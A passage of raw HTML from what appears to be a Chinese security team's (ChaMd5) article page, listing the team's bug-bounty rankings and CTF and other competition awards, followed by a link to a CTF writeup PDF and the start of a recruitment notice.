transparent;margin: 8px 0px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;caret-color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: left;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">自团队成立以来，曾荣获来自华为、微软、蚂蚁金服、百度、京东和滴滴等多家企业的致谢，向企业报告的漏洞合计</span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;color: rgb(0, 128, 255);visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">超</span></strong></span><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;letter-spacing: 2px;color: rgb(0, 128, 255);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">10w+</span></span></strong><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;text-align: justify;caret-color: rgb(0, 0, 0);font-family: Arial, Helvetica, sans-serif;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">。团队成员也曾多次在企业 CTF 赛事中获奖。</span></span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5 安全团队</span></span></span><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);letter-spacing: 2px;color: rgb(0, 128, 255);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">为维护企业安全建设而成立</span></span></strong><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 2px;font-family: Arial, Helvetica, sans-serif;font-size: 15px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">，竭尽全力培养安全人才，服务于各大企业。</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;color: rgb(0, 0, 0);font-size: medium;text-align: start;caret-color: rgb(34, 34, 34);font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;color: rgb(0, 128, 255);visibility: visible;"><strong style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;caret-color: rgb(0, 0, 0);letter-spacing: 2px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">ChaMd5安全团队</span></span></strong></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;caret-color: rgb(0, 0, 0);letter-spacing: 2px;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">将继续与平台一同进步，也</span></span></span><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-family: &#34;Helvetica Neue&#34;, Helvetica, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 15px;letter-spacing: 2px;caret-color: rgb(0, 0, 0);visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;">欢迎更多的小伙伴加入我们哦！</span></span></p><p data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="margin-top: 0px;margin-bottom: 0px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 10px;padding-right: 10px;background-attachment: scroll;background-clip: border-box;background-color: rgba(0, 0, 0, 0);background-image: none;background-origin: padding-box;background-position-x: 0%;background-position-y: 0%;background-repeat-x: no-repeat;background-repeat-y: no-repeat;background-size: auto;width: auto;font-family: Optima, &#39;Microsoft YaHei&#39;, PingFangSC-regular, serif;font-size: 16px;color: rgb(0, 0, 0);line-height: 1.5em;word-spacing: 0em;letter-spacing: 0em;word-break: break-word;overflow-wrap: break-word;text-align: left;" data-pm-slice="0 0 []"><pre data-tool="mdnice编辑器" style="border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;margin-top: 10px;margin-bottom: 10px;margin-left: 0px;margin-right: 0px;padding-top: 0px;padding-bottom: 0px;padding-left: 0px;padding-right: 0px;"><code style="overflow-x: auto;padding: 16px;color: #abb2bf;padding-top: 15px;background: #282c34;border-radius: 5px;display: -webkit-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;"><span leaf="">安全厂商漏洞提交</span><span leaf=""><br/></span><span leaf="">2024年荣获阿里云安全守护卫士</span><span leaf=""><br/></span><span leaf="">2024年京东SRC“优秀合作伙伴”称号和个人第四名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2024年盘锦市演练优秀攻击队</span><span leaf=""><br/></span><span leaf="">2024年荣获某市局经侦支队感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获某市委网信办感谢信</span><span leaf=""><br/></span><span leaf="">2024年荣获国家计算机网络与信息安全管理中心辽宁分中心感谢信</span><span leaf=""><br/></span><span leaf="">2023年京东SRC个人第三名(Str1am_)</span><span leaf=""><br/></span><span leaf="">2023年补天总榜个人排名第十(r00t4dm)</span><span leaf=""><br/></span><span leaf="">2023年多点SRC年度第三(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年TCL年度第四(Cra5h)</span><span leaf=""><br/></span><span leaf="">2023年同程SRC个人年度第二(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年滴滴SRC个人年度第五(IT小丑)</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第一季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第三季度 第二名</span><span leaf=""><br/></span><span leaf="">2023年漏洞盒子团队第四季度 第三名</span><span leaf=""><br/></span><span leaf="">2023年大连网信办“连盾”第二名</span><span leaf=""><br/></span><span leaf="">2022年PSRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2022年BSRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2022年货拉拉获得”黄金轻卡“称号</span><span leaf=""><br/></span><span leaf="">2021年DSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2021年BSRC获得年度第三名</span><span leaf=""><br/></span><span leaf="">2017-2020年DSRC(滴滴)年度安全团队第一名</span><span leaf=""><br/></span><span leaf="">2020年JSRC(京东)团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年BSRC(百度)第三名</span><span leaf=""><br/></span><span leaf="">2020年网易SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年58SRC团队年度第二名</span><span leaf=""><br/></span><span leaf="">2020年字节跳动SRC团队年度第三名</span><span leaf=""><br/></span><span leaf="">2020年360SRC年度团队第二名</span><span leaf=""><br/></span><span leaf="">2020年TSRC(腾讯)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年JSRC(京东)团队年度第三名</span><span leaf=""><br/></span><span leaf="">2019年华为云2019年度团队二等奖、华为终端2019年度最具潜力奖</span><span leaf=""><br/></span><span leaf="">2019年MTSRC(美团)年度团队第二名</span><span leaf=""><br/></span><span leaf="">2019年ASRC(阿里)年度合作伙伴奖</span><span leaf=""><br/></span><span leaf="">2019年合肥市网络安全攻防演练大赛攻防演练赛 线下第八名</span><span leaf=""><br/></span><span leaf="">2019年BSRC(百度) 年度第三名和校园年度第二名</span><span leaf=""><br/></span><span leaf="">2018年BSRC(百度) 年度第二名</span><span leaf=""><br/></span><span leaf="">2017年BSRC(百度)优秀团队</span><span leaf=""><br/></span><span leaf="">CTF比赛</span><span leaf=""><br/></span><span leaf="">2025年第五届鹏城杯线上第九名</span><span leaf=""><br/></span><span leaf="">2025年DASCTF下半年赛 第四名</span><span leaf=""><br/></span><span leaf="">2025年CCF智能汽车大赛 三等奖</span><span leaf=""><br/></span><span leaf="">2025年DASCTF上半年赛 第八名</span><span leaf=""><br/></span><span leaf="">2025第一届OpenHarmonyCTF专题赛 第五名</span><span leaf=""><br/></span><span leaf="">2025年第八届封神台 第一名</span><span leaf=""><br/></span><span leaf="">2024年国城杯 线下第六名</span><span leaf=""><br/></span><span leaf="">2024DASCTF 暑假挑战赛 第一名</span><span leaf=""><br/></span><span leaf="">2024年矩阵杯 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年举办第一届 VCTF 纳新赛</span><span leaf=""><br/></span><span leaf="">2023年中华武数杯 三等奖</span><span leaf=""><br/></span><span leaf="">2023年NCTF 第八名</span><span leaf=""><br/></span><span leaf="">2022年第五届强网拟态 第九名</span><span leaf=""><br/></span><span leaf="">2022年安洵杯 第七名</span><span leaf=""><br/></span><span leaf="">2021年第四届强网拟态 第一名</span><span leaf=""><br/></span><span leaf="">2021年长安杯总决赛一等奖</span><span leaf=""><br/></span><span leaf="">2021年巅峰极客 第一名</span><span leaf=""><br/></span><span leaf="">2020年“祥云杯”线上第三名</span><span leaf=""><br/></span><span leaf="">2020年GeekPwn云靶场挑战赛第八名</span><span leaf=""><br/></span><span leaf="">2020年线上网鼎杯“青龙组“第五名</span><span leaf=""><br/></span><span leaf="">2019年“湖湘杯”网络安全技能大赛线下第四名</span><span leaf=""><br/></span><span leaf="">2019年XPpwnCTF第五名</span><span leaf=""><br/></span><span leaf="">2019年SUCTF 线上第三名</span><span leaf=""><br/></span><span leaf="">2019年第三届“红帽杯”网络安全攻防大赛 线上社会网安第五名</span><span leaf=""><br/></span><span leaf="">工控比赛</span><span leaf=""><br/></span><span leaf="">2022年之江杯第五名&amp;内生安全贡献荣誉奖</span><span leaf=""><br/></span><span leaf="">2020年之江杯第一名</span><span leaf=""><br/></span><span leaf="">2018年赛博地球杯工业互联网安全大赛线下总排名 第二名</span><span leaf=""><br/></span><span leaf="">IoT比赛</span><span leaf=""><br/></span><span leaf="">2024年第七届“强网”拟态防御国际精英挑战赛—低空经济赛道三等奖（第五名）</span><span leaf=""><br/></span><span leaf="">2023年DataCon漏洞分析赛道第三名</span><span leaf=""><br/></span><span leaf="">2022年DataCon物联网安全第四名</span><span leaf=""><br/></span><span leaf="">2020年西湖论剑IOT挑战赛第一名</span><span leaf=""><br/></span><span leaf="">2019年360SRC48小时IoT破解大赛第四名</span><span leaf=""><br/></span><span leaf="">AI比赛</span><span leaf=""><br/></span><span leaf="">2025年LLM指令遵循攻防赛第一名</span><span leaf=""><br/></span><span leaf="">2024年DataCon AI第四名</span><span leaf=""><br/></span><span leaf="">2024年ByteAI安全挑战赛决赛第十名</span><span leaf=""><br/></span><span leaf="">2022年2022 CCF BDCI 竞技赛单赛题决赛 基于TPU平台实现人群密度估计 二等奖</span><span leaf=""><br/></span><span leaf="">2022年字节安全AI挑战赛 第四名</span><span leaf=""><br/></span><span leaf="">2021年iFLYTEK.AI 第十名</span><span leaf=""><br/></span><span leaf="">2020年BCTF AI PWN第六名</span><span leaf=""><br/></span><span leaf="">2019年强网杯AI 第十名</span><span leaf=""><br/></span><span leaf="">2019年BCTF RHG 人工智能第八名</span><span leaf=""><br/></span><span leaf="">车联网</span><span leaf=""><br/></span><span leaf="">2025年首届CCF智能汽车大赛线上第一名、线下三等奖</span><span leaf=""><br/></span><span leaf="">2024Block Harbor VicOne Automotive CTF 线上 第六名</span><span leaf=""><br/></span><span leaf="">2024年Super CS车联网安全攻防挑战赛线下 优胜奖</span><span leaf=""><br/></span><span leaf="">2024年VSEC挑战赛二 第六名</span><span leaf=""><br/></span><span leaf="">2023年CIICV车联网（智能网联汽车）漏洞挖掘挑战赛 优胜奖</span><span leaf=""><br/></span><span leaf="">2023年WIDC世界智能驾驶挑战赛 线上第二名</span><span leaf=""><br/></span><span leaf="">2022 第二届创安杯智能汽车信息安全公开赛 线上第九名</span><span leaf=""><br/></span><span leaf="">2022 CICV 智能网联汽车漏洞挖掘赛 线下一等奖</span><span leaf=""><br/></span><span leaf="">2022 CICV智能网联汽车漏洞挖掘赛 线上三等奖</span><span leaf=""><br/></span><span leaf="">2021年第二届中国智能网联汽车大赛“天融信杯“ 铜奖</span><span leaf=""><br/></span><span leaf="">2021年世界智能驾驶挑战赛 铜奖</span><span leaf=""><br/></span><span leaf="">区块链</span><span leaf=""><br/></span><span leaf="">2024年磐石安全实验室-FishCake项目审计竞赛第一</span><span leaf=""><br/></span><span leaf="">2023年MetaTrustCTF 参与命题</span><span leaf=""><br/></span><span leaf="">2023年NumenCTF 第十四名</span><span leaf=""><br/></span><span leaf="">团队书</span><span leaf=""><br/></span><span leaf="">《ARM 汇编与逆向工程：蓝狐篇 基础知识》 荣获机械工业出版社“2024年度优秀图书奖”称号</span><span leaf=""><br/></span><span leaf="">《x86 汇编与逆向工程：软件破解与防护的艺术》 荣获机械工业出版社“2024年度优秀图书奖”称号</span></code></pre></p><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-family: &#34;PingFang SC&#34;, system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-color: rgb(255, 255, 255);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p><span leaf=""><a href="https://github.com/ChaMd5Team/Venom-WP/blob/main/2025-%E7%AC%AC%E5%85%AD%E5%B1%8A%E9%A6%99%E6%B8%AF%E7%BD%91%E5%AE%89%E5%A4%BA%E6%97%97%E8%B5%9B-WriteUp.pdf" target="_blank">https://github.com/ChaMd5Team/Venom-WP/blob/main/2025-%E7%AC%AC%E5%85%AD%E5%B1%8A%E9%A6%99%E6%B8%AF%E7%BD%91%E5%AE%89%E5%A4%BA%E6%97%97%E8%B5%9B-WriteUp.pdf</a></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible;"><img alt="图片" class="__bg_gif rich_pages wxw-img" data-ratio="1" data-type="gif" data-w="640" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 38px !important;height: auto !important;" data-width="100%" data-imgfileid="100027087" src="https://wechat2rss.xlab.app/img-proxy/?k=a43983f2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FPUubqXlrzBRH2vOmzbCqYb35uicIicQcxDYmXzZRoiaM7vy41cjBXmbWys0xiadJ2zwYG6ODyDjjBafPDDCDWJCVbg%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1%26tp%3Dwebp%23imgIndex%3D1"/></p></div></div><p line="89Rf" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: none medium;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);color: rgb(73, 73, 73);font-size: 11pt;text-align: center;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">更多 Writeup 详情</span></p><p line="89Rf" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: none medium;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-style: normal;font-variant: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);color: rgb(73, 73, 73);font-size: 11pt;text-align: center;visibility: visible;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">查看以下链接或点击文末阅读原文</span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;clear: both;min-height: 1em;color: rgb(0, 0, 0);font-size: medium;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);text-align: center;visibility: visible;"><img alt="图片" class="rich_pages __bg_gif wxw-img" data-ratio="1" data-s="300,640" data-type="gif" data-w="200" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;vertical-align: bottom;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 149px !important;height: auto !important;" data-imgfileid="100027086" src="https://wechat2rss.xlab.app/img-proxy/?k=30a842b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FPUubqXlrzBRH2vOmzbCqYb35uicIicQcxDR3lbWnKxpic9icIjYzbsJjISBQEicVFia5IOsHMULFVHiakxSAQSlj8cmVg%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1%26tp%3Dwebp%23imgIndex%3D2"/></p><div data-role="outer" label="Powered by 135editor.com" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;color: rgba(0, 0, 0, 0.9);font-size: 17px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;caret-color: rgb(34, 34, 34);font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: left;background-color: rgb(255, 255, 255);"><div data-role="paragraph" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div data-mpa-template="t" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;letter-spacing: 0.544px;text-align: center;"><div data-id="89429" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;border-width: 0px;border-style: none;border-color: initial;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;height: 50px;"><div data-lazy-bgimg="https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif" data-fail="0" style="-webkit-tap-highlight-color: transparent;margin: 0px auto;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;width: 48px;height: 48px;color: rgb(255, 255, 255);font-size: 16px;line-height: 48px;display: inline-block;background-image: url(&#34;https://mmbiz.qpic.cn/mmbiz_gif/kiaqiahsnxHd4Zt4378tqib1DnnfKYvZAI7sUNZCYmGN2HCMDFDYV5hLu6HrHIK5BynAAwgHGiafFFU7ibYez6mXL4w/640?wx_fmt=gif&#34;);background-size: 100%;background-position: 0px center;background-repeat: no-repeat;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;font-weight: bold;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;vertical-align: inherit;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">结束</span></span></p></div></div></div></div></div></div><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 0.544px;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;text-align: center;font-size: 16px;background-color: rgb(255, 255, 255);color: rgb(62, 62, 62);"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 20px 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;text-align: left;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 10px 15px 15px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;display: inline-block;width: 663.453px;vertical-align: top;border-width: 1px;border-style: solid;border-color: rgb(0, 0, 26);border-radius: 0px;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><div style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: center;"><span style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;font-size: 15px;"><span leaf="" style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;">招新小广告</span></span></p><p style="-webkit-tap-highlight-color: transparent;margin: 0px;padding: 0px;outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;clear: both;min-height: 1em;letter-spacing: 0.544px;text-align: 